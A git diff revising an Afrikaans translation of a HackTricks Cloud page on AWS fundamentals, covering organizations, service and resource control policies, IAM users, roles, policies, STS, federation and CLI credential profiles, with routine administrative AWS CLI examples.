diff --git a/src/images/vm_to_aa.jpg b/src/images/vm_to_aa.jpg new file mode 100644 index 000000000..30893dfd5 Binary files /dev/null and b/src/images/vm_to_aa.jpg differ diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index b48a04987..b2ff83eb5 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -10,9 +10,9 @@ In AWS is daar 'n **root rekening,** wat die **ouerhouer is vir al die rekeninge** van jou **organisasie**. Jy hoef egter nie daardie rekening te gebruik om hulpbronne te ontplooi nie, jy kan **ander rekeninge skep om verskillende AWS** infrastruktuur van mekaar te skei. -Dit is baie interessant vanuit 'n **veiligheid** oogpunt, aangesien **een rekening nie in staat sal wees om hulpbronne van 'n ander rekening te benader** (behalwe as brûe spesifiek geskep word), so op hierdie manier kan jy grense tussen ontplooiings skep. +Dit is baie interessant vanuit 'n **veiligheid** oogpunt, aangesien **een rekening nie hulpbronne van 'n ander rekening kan toegang nie** (behalwe as brûe spesifiek geskep word), so op hierdie manier kan jy grense tussen ontplooiings skep. -Daarom is daar **twee tipes rekeninge in 'n organisasie** (ons praat van AWS rekeninge en nie gebruikersrekeninge nie): 'n enkele rekening wat as die bestuurrekening aangewys is, en een of meer lidrekeninge. +Daarom is daar **twee tipes rekeninge in 'n organisasie** (ons praat van AWS rekeninge en nie gebruikersrekeninge nie): 'n enkele rekening wat as die bestuurrekening aangewys word, en een of meer lidrekeninge. - Die **bestuurrekening (die root rekening)** is die rekening wat jy gebruik om die organisasie te skep. Van die organisasie se bestuurrekening af, kan jy die volgende doen: @@ -20,42 +20,42 @@ Daarom is daar **twee tipes rekeninge in 'n organisasie** (ons praat van AWS rek - Ander bestaande rekeninge na die organisasie nooi - Rekeninge uit die organisasie verwyder - Uitnodigings bestuur -- Beleide toepas op entiteite (wortels, OU's, of rekeninge) binne die organisasie -- Integrasie met ondersteunende AWS dienste inskakel om diensfunksionaliteit oor al die rekeninge in die organisasie te bied. +- Beleide op entiteite (wortels, OU's, of rekeninge) binne die organisasie toepas +- Integrasie met ondersteunde AWS dienste inskakel om diensfunksionaliteit oor al die rekeninge in die organisasie te bied. - Dit is moontlik om as die root gebruiker aan te meld met die e-pos en wagwoord wat gebruik is om hierdie root rekening/organisasie te skep. Die bestuurrekening het die **verantwoordelikhede van 'n betaler rekening** en is verantwoordelik vir die betaling van alle koste wat deur die lidrekeninge opgeloop word. Jy kan nie 'n organisasie se bestuurrekening verander nie. - **Lidrekeninge** maak al die res van die rekeninge in 'n organisasie uit. 'n Rekening kan slegs 'n lid van een organisasie op 'n slag wees. Jy kan 'n beleid aan 'n rekening koppel om kontroles slegs op daardie een rekening toe te pas. -- Lidrekeninge **moet 'n geldige e-posadres gebruik** en kan 'n **naam** hê; in die algemeen sal hulle nie in staat wees om die faktuur te bestuur nie (maar hulle mag toegang daartoe gegee word). +- Lidrekeninge **moet 'n geldige e-posadres gebruik** en kan 'n **naam** hê, in die algemeen sal hulle nie in staat wees om die faktuur te bestuur nie (maar hulle mag toegang daartoe gegee word). ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` ### **Organisasie-eenhede** -Rekeninge kan gegroepeer word in **Organisasie-eenhede (OU)**. Op hierdie manier kan jy **beleide** vir die Organisasie-eenheid skep wat gaan **toegepas word op al die kindrekeninge**. Let daarop dat 'n OU ander OU's as kinders kan hê. +Rekeninge kan gegroepeer word in **Organisasie-eenhede (OU)**. Op hierdie manier kan jy **beleide** vir die Organisasie-eenheid skep wat **op al die kindrekeninge toegepas gaan word**. Let daarop dat 'n OU ander OUs as kinders kan hê. ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` ### Service Control Policy (SCP) -'n **service control policy (SCP)** is 'n beleid wat die dienste en aksies spesifiseer wat gebruikers en rolle in die rekeninge wat die SCP beïnvloed, kan gebruik. SCP's is **soortgelyk aan IAM** toestemmingsbeleide, behalwe dat hulle **nie enige toestemmings toeken nie**. In plaas daarvan spesifiseer SCP's die **maksimum toestemmings** vir 'n organisasie, organisatoriese eenheid (OU), of rekening. Wanneer jy 'n SCP aan jou organisasie se wortel of 'n OU heg, **beperk die SCP toestemmings vir entiteite in lidrekeninge**. +'n **service control policy (SCP)** is 'n beleid wat die dienste en aksies spesifiseer wat gebruikers en rolle in die rekeninge wat die SCP beïnvloed, kan gebruik. SCPs is **soortgelyk aan IAM** toestemmingsbeleide, behalwe dat hulle **nie enige toestemmings toeken** nie. In plaas daarvan spesifiseer SCPs die **maksimum toestemmings** vir 'n organisasie, organisatoriese eenheid (OU), of rekening. Wanneer jy 'n SCP aan jou organisasie se wortel of 'n OU heg, **beperk die SCP toestemmings vir entiteite in lidrekeninge**. Dit is die ENIGE manier waarop **selfs die wortelgebruiker gestop kan word** om iets te doen. Byvoorbeeld, dit kan gebruik word om gebruikers te stop om CloudTrail te deaktiveer of rugsteun te verwyder.\ -Die enigste manier om dit te omseil, is om ook die **meesterrekening** wat die SCP's konfigureer, te kompromitteer (meesterrekening kan nie geblokkeer word nie). +Die enigste manier om dit te omseil, is om ook die **meesterrekening** wat die SCPs konfigureer, te kompromitteer (meesterrekening kan nie geblokkeer word nie). > [!WARNING] -> Let daarop dat **SCP's slegs die principals in die rekening beperk**, so ander rekeninge word nie beïnvloed nie. Dit beteken dat 'n SCP wat `s3:GetObject` weier, nie mense sal stop om **toegang tot 'n openbare S3-bucket** in jou rekening te kry nie. +> Let daarop dat **SCPs slegs die principals in die rekening beperk**, so ander rekeninge word nie beïnvloed nie. Dit beteken dat 'n SCP wat `s3:GetObject` weier, nie mense sal stop om **toegang tot 'n openbare S3-bucket** in jou rekening te verkry nie. SCP voorbeelde: - Weier die wortelrekening heeltemal - Laat slegs spesifieke streke toe - Laat slegs witgelysde dienste toe -- Weier GuardDuty, CloudTrail, en S3 Publieke Bloktoegang van +- Weier GuardDuty, CloudTrail, en S3 Publieke Blok Toegang van -om gedeaktiveer te word +deaktiveer - Weier sekuriteit/voorvalrespons rolle om verwyder of @@ -66,6 +66,24 @@ gewysig te word. Vind **JSON voorbeelde** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) +### Resource Control Policy (RCP) + +'n **resource control policy (RCP)** is 'n beleid wat die **maksimum toestemmings vir hulpbronne binne jou AWS-organisasie** definieer. RCPs is soortgelyk aan IAM beleide in sintaksis, maar **gee nie toestemmings nie**—hulle beperk slegs die toestemmings wat op hulpbronne deur ander beleide toegepas kan word. Wanneer jy 'n RCP aan jou organisasie se wortel, 'n organisatoriese eenheid (OU), of 'n rekening heg, beperk die RCP hulpbron toestemmings oor alle hulpbronne in die beïnvloede omvang. + +Dit is die ENIGE manier om te verseker dat **hulpbronne nie vooraf gedefinieerde toegangsvlakke kan oorskry**—selfs as 'n identiteit-gebaseerde of hulpbron-gebaseerde beleid te permissief is. Die enigste manier om hierdie beperkings te omseil, is om ook die RCP wat deur jou organisasie se bestuursrekening gekonfigureer is, te wysig. + +> [!WARNING] +> RCPs beperk slegs die toestemmings wat hulpbronne kan hê. Hulle beheer nie direk wat principals kan doen nie. Byvoorbeeld, as 'n RCP eksterne toegang tot 'n S3-bucket weier, verseker dit dat die bucket se toestemmings nooit aksies toelaat wat die gestelde limiet oorskry nie—selfs as 'n hulpbron-gebaseerde beleid verkeerd gekonfigureer is. + +RCP voorbeelde: + +- Beperk S3-buckets sodat hulle slegs deur principals binne jou organisasie toegang kan verkry +- Beperk KMS sleutelgebruik om slegs operasies van vertroude organisatoriese rekeninge toe te laat +- Beperk toestemmings op SQS rye om ongeoorloofde wysigings te voorkom +- Handhaaf toegang grense op Secrets Manager geheime om sensitiewe data te beskerm + +Vind voorbeelde in [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html) + ### ARN **Amazon Resource Name** is die **unieke naam** wat elke hulpbron binne AWS het, dit is soos volg saamgestel: @@ -94,7 +112,7 @@ IAM kan gedefinieer word deur sy vermoë om verifikasie, magtiging en toegangsbe Wanneer jy vir die eerste keer 'n Amazon Web Services (AWS) rekening skep, begin jy met 'n enkele aanmeld identiteit wat **volledige toegang tot alle** AWS dienste en hulpbronne in die rekening het. Dit is die AWS rekening _**wortel gebruiker**_ en word verkry deur in te teken met die **e-posadres en wagwoord wat jy gebruik het om die rekening te skep**. -Let wel dat 'n nuwe **admin gebruiker** **minder toestemmings sal hê as die wortel gebruiker**. +Let wel dat 'n nuwe **admin gebruiker** **minder regte as die wortel gebruiker** sal hê. Vanuit 'n sekuriteits oogpunt, word dit aanbeveel om ander gebruikers te skep en om hierdie een te vermy. @@ -102,9 +120,9 @@ Vanuit 'n sekuriteits oogpunt, word dit aanbeveel om ander gebruikers te skep en 'n IAM _gebruiker_ is 'n entiteit wat jy in AWS skep om **die persoon of toepassing** wat dit gebruik om **met AWS te kommunikeer** te **verteenwoordig**. 'n Gebruiker in AWS bestaan uit 'n naam en geloofsbriewe (wagwoord en tot twee toegang sleutels). -Wanneer jy 'n IAM gebruiker skep, gee jy dit **toestemmings** deur dit 'n **lid van 'n gebruikersgroep** te maak wat toepaslike toestemming beleid aangeheg het (aanbeveel), of deur **direk beleid** aan die gebruiker te heg. +Wanneer jy 'n IAM gebruiker skep, gee jy dit **regte** deur dit 'n **lid van 'n gebruikersgroep** te maak wat toepaslike toestemmingsbeleide het (aanbeveel), of deur **beleide direk aan die gebruiker te heg**. -Gebruikers kan **MFA geaktiveer hê om in te teken** deur die konsole. API tokens van MFA geaktiveerde gebruikers is nie deur MFA beskerm nie. As jy wil **die toegang van 'n gebruiker se API sleutels met MFA beperk**, moet jy in die beleid aandui dat om sekere aksies uit te voer, MFA teenwoordig moet wees (voorbeeld [**hier**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). +Gebruikers kan **MFA geaktiveer hê om in te teken** deur die konsole. API tokens van MFA geaktiveerde gebruikers is nie deur MFA beskerm nie. As jy die **toegang van 'n gebruiker se API sleutels met MFA wil beperk**, moet jy in die beleid aandui dat om sekere aksies uit te voer, MFA teenwoordig moet wees (voorbeeld [**hier**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). #### CLI @@ -112,20 +130,20 @@ Gebruikers kan **MFA geaktiveer hê om in te teken** deur die konsole. API token - **Geheime toegang sleutel ID**: 40 ewekansige hoof- en kleinletters karakters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (Dit is nie moontlik om verlore geheime toegang sleutel ID's te herstel nie). Wanneer jy die **Toegang Sleutel** moet **verander**, is dit die proses wat jy moet volg:\ -_Skep 'n nuwe toegang sleutel -> Pas die nuwe sleutel toe op die stelsel/toepassing -> merk die oorspronklike een as inaktief -> Toets en verifieer dat die nuwe toegang sleutel werk -> Verwyder die ou toegang sleutel_ +_Skep 'n nuwe toegang sleutel -> Pas die nuwe sleutel toe op stelsel/toepassing -> merk oorspronklike een as inaktief -> Toets en verifieer dat die nuwe toegang sleutel werk -> Verwyder ou toegang sleutel_ ### MFA - Multi-Faktor Verifikasie Dit word gebruik om 'n **addisionele faktor vir verifikasie** te skep benewens jou bestaande metodes, soos wagwoord, en skep dus 'n multi-faktor vlak van verifikasie.\ -Jy kan 'n **gratis virtuele toepassing of 'n fisiese toestel** gebruik. Jy kan toepassings soos google authentication gratis gebruik om 'n MFA in AWS te aktiveer. +Jy kan 'n **gratis virtuele toepassing of 'n fisiese toestel** gebruik. Jy kan gratis toepassings soos google authentication gebruik om 'n MFA in AWS te aktiveer. Beleide met MFA voorwaardes kan aan die volgende geheg word: - 'n IAM gebruiker of groep -- 'n hulpbron soos 'n Amazon S3 emmer, Amazon SQS waglyn, of Amazon SNS onderwerp +- 'n hulpbron soos 'n Amazon S3 emmer, Amazon SQS tou, of Amazon SNS onderwerp - Die vertrouensbeleid van 'n IAM rol wat deur 'n gebruiker aanvaar kan word -As jy **via CLI** toegang wil hê tot 'n hulpbron wat **MFA nagaan**, moet jy **`GetSessionToken`** aanroep. Dit sal vir jou 'n token gee met inligting oor MFA.\ +As jy 'n hulpbron wat **MFA nagaan** via CLI wil **toegang**, moet jy **`GetSessionToken`** aanroep. Dit sal jou 'n token gee met inligting oor MFA.\ Let wel dat **`AssumeRole` geloofsbriewe nie hierdie inligting bevat nie**. ```bash aws sts get-session-token --serial-number --token-code @@ -147,17 +165,17 @@ Hier is 'n paar belangrike eienskappe van gebruikersgroepe: ### [IAM rolle](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -'n IAM **rol** is baie **soortgelyk** aan 'n **gebruiker**, in die sin dat dit 'n **identiteit met toestemmingbeleide is wat bepaal wat** dit kan en nie kan doen in AWS nie. egter, 'n rol **het nie enige geloofsbriewe** (wagwoord of toegang sleutels) wat daarmee geassosieer is nie. In plaas daarvan om uniek aan een persoon geassosieer te wees, is 'n rol bedoel om **aangenome te word deur enigiemand wat dit nodig het (en genoeg perms het)**. 'n **IAM gebruiker kan 'n rol aanvaar om tydelik** verskillende toestemmings vir 'n spesifieke taak aan te neem. 'n rol kan **toegeken word aan 'n** [**gefedereerde gebruiker**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) wat aanmeld deur 'n eksterne identiteitsverskaffer te gebruik in plaas van IAM. +'n IAM **rol** is baie **soortgelyk** aan 'n **gebruiker**, in die sin dat dit 'n **identiteit met toestemmingbeleide is wat bepaal wat** dit kan en nie kan doen in AWS nie. egter, 'n rol **het nie enige geloofsbriewe** (wagwoord of toegang sleutels) wat daarmee geassosieer is nie. In plaas daarvan om uniek aan een persoon geassosieer te wees, is 'n rol bedoel om **aangenome te word deur enigeen wat dit nodig het (en genoeg perms het)**. 'n **IAM gebruiker kan 'n rol aanvaar om tydelik** verskillende toestemmings vir 'n spesifieke taak aan te neem. 'n rol kan **toegeken word aan 'n** [**gefedereerde gebruiker**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) wat aanmeld deur 'n eksterne identiteitsverskaffer te gebruik in plaas van IAM. 'n IAM rol bestaan uit **twee tipes beleide**: 'n **vertrouensbeleid**, wat nie leeg kan wees nie, wat **definieer wie die rol kan aanvaar**, en 'n **toestemmingsbeleid**, wat nie leeg kan wees nie, wat **definieer wat dit kan toegang**. #### AWS Veiligheidstoken Diens (STS) -AWS Veiligheidstoken Diens (STS) is 'n webdiens wat die **uitreiking van tydelike, beperkte bevoegdheid geloofsbriewe** fasiliteer. Dit is spesifiek ontwerp vir: +AWS Veiligheidstoken Diens (STS) is 'n webdiens wat die **uitreiking van tydelike, beperkte-toestemming geloofsbriewe** fasiliteer. Dit is spesifiek ontwerp vir: ### [Tydelike geloofsbriewe in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -**Tydelike geloofsbriewe word hoofsaaklik gebruik met IAM rolle**, maar daar is ook ander gebruike. Jy kan tydelike geloofsbriewe aan vra wat 'n meer beperkte stel toestemmings het as jou standaard IAM gebruiker. Dit **verhoed** dat jy **per ongeluk take uitvoer wat nie toegelaat word** deur die meer beperkte geloofsbriewe nie. 'n voordeel van tydelike geloofsbriewe is dat hulle outomaties verval na 'n bepaalde tydperk. Jy het beheer oor die duur waarvoor die geloofsbriewe geldig is. +**Tydelike geloofsbriewe word hoofsaaklik gebruik met IAM rolle**, maar daar is ook ander gebruike. Jy kan tydelike geloofsbriewe aan vra wat 'n meer beperkte stel toestemmings het as jou standaard IAM gebruiker. Dit **verhoed** jou om **per ongeluk take uit te voer wat nie toegelaat word** deur die meer beperkte geloofsbriewe nie. 'n voordeel van tydelike geloofsbriewe is dat hulle outomaties verval na 'n bepaalde tydperk. Jy het beheer oor die duur dat die geloofsbriewe geldig is. ### Beleide @@ -166,10 +184,10 @@ AWS Veiligheidstoken Diens (STS) is 'n webdiens wat die **uitreiking van tydelik Word gebruik om toestemmings toe te ken. Daar is 2 tipes: - AWS bestuurde beleide (vooraf geconfigureer deur AWS) -- Klantbestuurde Beleide: Geconfigureer deur jou. Jy kan beleide skep gebaseer op AWS bestuurde beleide (een van hulle wysig en jou eie skep), met behulp van die beleidgenerator (n GUI-uitsig wat jou help om toestemmings toe te ken en te weier) of jou eie te skryf. +- Klant bestuurde beleide: Geconfigureer deur jou. Jy kan beleide skep gebaseer op AWS bestuurde beleide (een van hulle aanpas en jou eie skep), deur die beleidsgenerator te gebruik (n GUI-uitsig wat jou help om toestemmings toe te ken en te weier) of jou eie te skryf. Deur **standaard toegang** is **weggeneem**, toegang sal toegestaan word as 'n eksplisiete rol gespesifiseer is.\ -As **enige "Deny" bestaan, sal dit die "Allow" oorskry**, behalwe vir versoeke wat die AWS rekening se wortelveiligheidsgeloofsbriewe gebruik (wat standaard toegelaat word). +As **enige "Deny" bestaan, sal dit die "Allow" oorskry**, behalwe vir versoeke wat die AWS rekening se wortel sekuriteitsgeloofsbriewe gebruik (wat standaard toegelaat word). ```javascript { "Version": "2012-10-17", //Version of the policy @@ -197,28 +215,28 @@ Die [spesifieke velde wat gebruik kan word vir voorwaardes per diens is hier ged #### Inline Beleide -Hierdie tipe beleide is **direk toegeken** aan 'n gebruiker, groep of rol. Dan verskyn hulle nie in die Beleide lys nie, aangesien enige ander dit kan gebruik.\ -Inline beleide is nuttig as jy wil **'n streng een-tot-een verhouding tussen 'n beleid en die identiteit** wat dit toegepas word, handhaaf. Byvoorbeeld, jy wil seker maak dat die toestemmings in 'n beleid nie per ongeluk aan 'n identiteit anders as die een waarvoor dit bedoel is, toegeken word nie. Wanneer jy 'n inline beleid gebruik, kan die toestemmings in die beleid nie per ongeluk aan die verkeerde identiteit geheg word nie. Daarbenewens, wanneer jy die AWS Bestuurskonsol gebruik om daardie identiteit te verwyder, word die beleide wat in die identiteit ingebed is, ook verwyder. Dit is omdat hulle deel van die hoof entiteit is. +Hierdie tipe beleide is **direk toegeken** aan 'n gebruiker, groep of rol. Dan verskyn hulle nie in die Beleide lys nie soos enige ander een kan hulle gebruik.\ +Inline beleide is nuttig as jy wil **'n streng een-tot-een verhouding tussen 'n beleid en die identiteit** wat dit toegepas word, handhaaf. Byvoorbeeld, jy wil seker maak dat die regte in 'n beleid nie per ongeluk aan 'n identiteit anders as die een waarvoor hulle bedoel is, toegeken word nie. Wanneer jy 'n inline beleid gebruik, kan die regte in die beleid nie per ongeluk aan die verkeerde identiteit geheg word nie. Daarbenewens, wanneer jy die AWS Management Console gebruik om daardie identiteit te verwyder, word die beleide wat in die identiteit ingebed is, ook verwyder. Dit is omdat hulle deel is van die hoof entiteit. #### Hulpbron Emmer Beleide Hierdie is **beleide** wat in **hulpbronne** gedefinieer kan word. **Nie alle hulpbronne van AWS ondersteun hulle nie**. -As 'n hoof nie 'n eksplisiete weiering op hulle het nie, en 'n hulpbronbeleid hulle toegang verleen, dan word hulle toegelaat. +As 'n hoof nie 'n eksplisiete ontkenning op hulle het nie, en 'n hulpbronbeleid hulle toegang gee, dan word hulle toegelaat. ### IAM Grense -IAM grense kan gebruik word om **die toestemmings wat 'n gebruiker of rol toegang tot moet hê, te beperk**. Op hierdie manier, selfs al word 'n ander stel toestemmings aan die gebruiker deur 'n **ander beleid** toegeken, sal die operasie **misluk** as hy probeer om hulle te gebruik. +IAM grense kan gebruik word om **die regte wat 'n gebruiker of rol toegang tot moet hê, te beperk**. Op hierdie manier, selfs al word 'n ander stel regte aan die gebruiker toegeken deur 'n **ander beleid**, sal die operasie **misluk** as hy probeer om hulle te gebruik. -'n Grens is net 'n beleid wat aan 'n gebruiker geheg is wat **die maksimum vlak van toestemmings wat die gebruiker of rol kan hê, aandui**. So, **selfs al het die gebruiker Administrateur toegang**, as die grens aandui dat hy slegs S· emmers kan lees, is dit die maksimum wat hy kan doen. +'n Grens is net 'n beleid wat aan 'n gebruiker geheg is wat **die maksimum vlak van regte wat die gebruiker of rol kan hê, aandui**. So, **selfs al het die gebruiker Administrateur toegang**, as die grens aandui dat hy net S· emmers kan lees, is dit die maksimum wat hy kan doen. -**Dit**, **SCPs** en **die beginsel van die minste voorreg** is die maniere om te beheer dat gebruikers nie meer toestemmings het as wat hulle nodig het nie. +**Dit**, **SCPs** en **die beginsel van die minste voorreg** is die maniere om te beheer dat gebruikers nie meer regte het as wat hulle nodig het nie. ### Sessie Beleide -'n Sessie beleid is 'n **beleid wat ingestel word wanneer 'n rol aanvaar word** op een of ander manier. Dit sal soos 'n **IAM grens vir daardie sessie wees**: Dit beteken dat die sessie beleid nie toestemmings verleen nie, maar **hulle beperk tot diegene wat in die beleid aangedui word** (met die maksimum toestemmings wat die rol het). +'n Sessie beleid is 'n **beleid wat ingestel word wanneer 'n rol aanvaar word** op een of ander manier. Dit sal soos 'n **IAM grens vir daardie sessie wees**: Dit beteken dat die sessie beleid nie regte toeken nie, maar **beperk hulle tot diegene wat in die beleid aangedui word** (met die maksimum regte wat die rol het). -Dit is nuttig vir **veiligheidsmaatreëls**: Wanneer 'n admin 'n baie bevoorregte rol gaan aanvaar, kan hy die toestemming beperk tot slegs diegene wat in die sessie beleid aangedui word in die geval dat die sessie gecompromitteer word. +Dit is nuttig vir **veiligheidsmaatreëls**: Wanneer 'n admin 'n baie bevoorregte rol gaan aanvaar, kan hy die regte beperk tot slegs diegene wat in die sessie beleid aangedui word in die geval dat die sessie gecompromitteer word. ```bash aws sts assume-role \ --role-arn \ @@ -226,18 +244,18 @@ aws sts assume-role \ [--policy-arns ] [--policy ] ``` -Let wel dat **AWS dalk sessiebeleide aan sessies kan voeg** wat gegenereer gaan word as gevolg van derde redes. Byvoorbeeld, in [ongemagtigde cognito aangeneemde rolle](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) sal AWS standaard (met verbeterde verifikasie) **sessie-akkrediteer met 'n sessiebeleid** genereer wat die dienste wat die sessie kan toegang hê, beperk [**tot die volgende lys**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). +Let wel dat **AWS dalk sessiebeleide aan sessies kan voeg** wat gegenereer gaan word weens derde redes. Byvoorbeeld, in [nie-geverifieerde cognito aangeneemde rolle](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) sal AWS standaard (met verbeterde verifikasie) **sessie-akkrediteer met 'n sessiebeleid** genereer wat die dienste wat die sessie kan toegang hê, beperk [**tot die volgende lys**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services). -As gevolg hiervan, as jy op 'n stadium die fout "… omdat geen sessiebeleid dit toelaat nie …" teëkom, en die rol toegang het om die aksie uit te voer, is dit omdat **daar 'n sessiebeleid is wat dit verhinder**. +As jy dus op 'n stadium die fout "… omdat geen sessiebeleid dit toelaat nie …" teëkom, en die rol toegang het om die aksie uit te voer, is dit omdat **daar 'n sessiebeleid is wat dit verhinder**. ### Identiteitsfederasie -Identiteitsfederasie **laat gebruikers van identiteitsverskaffers wat eksterne** is tot AWS toe om AWS-hulpbronne veilig te benader sonder om AWS-gebruikersakkrediteer van 'n geldige IAM-gebruikersrekening te verskaf.\ +Identiteitsfederasie **laat gebruikers van identiteitsverskaffers wat eksterne** tot AWS is, toe om AWS-hulpbronne veilig te benader sonder om AWS-gebruikersakkrediteer van 'n geldige IAM-gebruikersrekening te verskaf.\ 'n Voorbeeld van 'n identiteitsverskaffer kan jou eie korporatiewe **Microsoft Active Directory** (via **SAML**) of **OpenID** dienste (soos **Google**) wees. Gefedereerde toegang sal dan die gebruikers binne dit toelaat om AWS te benader. -Om hierdie vertroue te konfigureer, word 'n **IAM Identiteitsverskaffer gegenereer (SAML of OAuth)** wat die **ander platform** sal **vertrou**. Dan, ten minste een **IAM rol word toegeken (wat vertrou) aan die Identiteitsverskaffer**. As 'n gebruiker van die vertroude platform AWS benader, sal hy as die genoemde rol toegang hê. +Om hierdie vertroue te konfigureer, word 'n **IAM Identiteitsverskaffer gegenereer (SAML of OAuth)** wat die **ander platform** sal **vertrou**. Dan word ten minste een **IAM rol (wat vertrou) aan die Identiteitsverskaffer toegeken**. As 'n gebruiker van die vertroude platform AWS benader, sal hy as die genoemde rol toegang hê. -Jy sal egter gewoonlik 'n **verskillende rol wil gee, afhangende van die groep van die gebruiker** in die derdeparty-platform. Dan kan verskeie **IAM rolle vertrou** die derdeparty Identiteitsverskaffer en die derdeparty-platform sal die een wees wat gebruikers toelaat om een rol of die ander aan te neem. +Jy sal egter gewoonlik 'n **verskillende rol wil gee, afhangende van die groep van die gebruiker** in die derdeparty-platform. Dan kan verskeie **IAM rolle die derdeparty Identiteitsverskaffer vertrou** en die derdeparty-platform sal die een wees wat gebruikers toelaat om een rol of die ander aan te neem.
@@ -245,12 +263,12 @@ Jy sal egter gewoonlik 'n **verskillende rol wil gee, afhangende van die groep v AWS IAM Identiteitsentrum (opvolger van AWS Enkelteken) brei die vermoëns van AWS Identiteits- en Toegangsbestuur (IAM) uit om 'n **sentraal plek** te bied wat die **administrasie van gebruikers en hul toegang tot AWS** rekeninge en wolktoepassings saambring. -Die aanmeld domein gaan iets soos `.awsapps.com` wees. +Die aanmelddomein gaan iets soos `.awsapps.com` wees. Om gebruikers aan te meld, is daar 3 identiteitsbronne wat gebruik kan word: - Identiteitsentrum Gids: Gereelde AWS gebruikers -- Aktiewe Gids: Ondersteun verskillende koppelvlak +- Aktiewe Gids: Ondersteun verskillende koppelvlakke - Eksterne Identiteitsverskaffer: Alle gebruikers en groepe kom van 'n eksterne Identiteitsverskaffer (IdP)
@@ -267,8 +285,8 @@ Daarom, selfs al sien jy 2 rolle met 'n inline beleid genaamd **`AwsSSOInlinePol ### Kruisrekening Vertroue en Rolle -**'n gebruiker** (wat vertrou) kan 'n Kruisrekening Rol met sommige beleide skep en dan, **'n ander gebruiker** (vertrou) toelaat om **sy rekening te benader** maar slegs **met die toegang wat in die nuwe rolbeleide aangedui is**. Om dit te skep, skep eenvoudig 'n nuwe Rol en kies Kruisrekening Rol. Rolle vir Kruisrekening Toegang bied twee opsies. Om toegang te bied tussen AWS rekeninge wat jy besit, en om toegang te bied tussen 'n rekening wat jy besit en 'n derdeparty AWS rekening.\ -Dit word aanbeveel om **die gebruiker wat vertrou spesifiek aan te dui en nie 'n generiese ding te plaas nie**, want anders sal ander geverifieerde gebruikers soos gefedereerde gebruikers ook hierdie vertroue kan misbruik. +**'n gebruiker** (wat vertrou) kan 'n Kruisrekening Rol met sekere beleide skep en dan **'n ander gebruiker** (vertroude) toelaat om **sy rekening te benader**, maar net **met die toegang wat in die nuwe rolbeleide aangedui is**. Om dit te skep, skep eenvoudig 'n nuwe Rol en kies Kruisrekening Rol. Rolle vir Kruisrekening Toegang bied twee opsies. Om toegang te bied tussen AWS rekeninge wat jy besit, en om toegang te bied tussen 'n rekening wat jy besit en 'n derdeparty AWS rekening.\ +Dit word aanbeveel om **die gebruiker wat vertrou is spesifiek aan te dui en nie 'n generiese ding te plaas nie**, want anders kan ander geverifieerde gebruikers soos gefedereerde gebruikers ook hierdie vertroue misbruik. ### AWS Eenvoudige AD @@ -280,7 +298,7 @@ Nie ondersteun nie: - AD Herwinningsblik - Groep Gemanagte Diensrekeninge - Skema-uitbreidings -- Geen direkte toegang tot OS of Instansies nie +- Geen Direkte toegang tot OS of Instansies nie #### Web Federasie of OpenID Verifikasie @@ -289,9 +307,9 @@ Die toepassing gebruik die AssumeRoleWithWebIdentity om tydelike akkrediteer te ### Ander IAM opsies - Jy kan **'n wagwoordbeleid instelling** opsies soos minimum lengte en wagwoordvereistes stel. -- Jy kan **"Akkrediteer Verslag" aflaai** met inligting oor huidige akkrediteer (soos gebruikers skepping tyd, is wagwoord geaktiveer...). Jy kan 'n akkrediteer verslag genereer so dikwels as een keer elke **vier uur**. +- Jy kan **"Akkrediteer Verslag" aflaai** met inligting oor huidige akkrediteer (soos gebruikers skeppingstyd, is wagwoord geaktiveer...). Jy kan 'n akkrediteer verslag genereer so dikwels as een keer elke **vier uur**. -AWS Identiteits- en Toegangsbestuur (IAM) bied **fyn-granulêre toegangbeheer** oor al die AWS. Met IAM kan jy spesifiseer **wie toegang kan hê tot watter dienste en hulpbronne**, en onder watter omstandighede. Met IAM beleide bestuur jy toestemmings aan jou werksmag en stelsels om **minst-bevoegdheidstoestemmings** te verseker. +AWS Identiteits- en Toegangsbestuur (IAM) bied **fyn-graad toegangbeheer** oor al die AWS. Met IAM kan jy spesifiseer **wie toegang kan hê tot watter dienste en hulpbronne**, en onder watter omstandighede. Met IAM beleide bestuur jy toestemmings aan jou werksmag en stelsels om **minimale-toestemmings te verseker**. ### IAM ID Vooraf @@ -331,7 +349,7 @@ Die volgende voorregte bied verskeie lees toegang van metadata: ### CLI Verifikasie Om 'n gereelde gebruiker te laat verifieer by AWS via CLI, moet jy **lokale akkrediteer** hê. Standaard kan jy dit **handmatig** in `~/.aws/credentials` konfigureer of deur **te loop** `aws configure`.\ -In daardie lêer kan jy meer as een profiel hê, as **geen profiel** gespesifiseer word met die **aws cli**, sal die een genaamd **`[default]`** in daardie lêer gebruik word.\ +In daardie lêer kan jy meer as een profiel hê; as **geen profiel** gespesifiseer word nie, sal die een genaamd **`[default]`** in daardie lêer gebruik word.\ Voorbeeld van akkrediteer lêer met meer as 1 profiel: ``` [default] @@ -366,5 +384,6 @@ As jy op soek is na iets **soortgelyks** soos dit, maar vir die **blaaier**, kan - 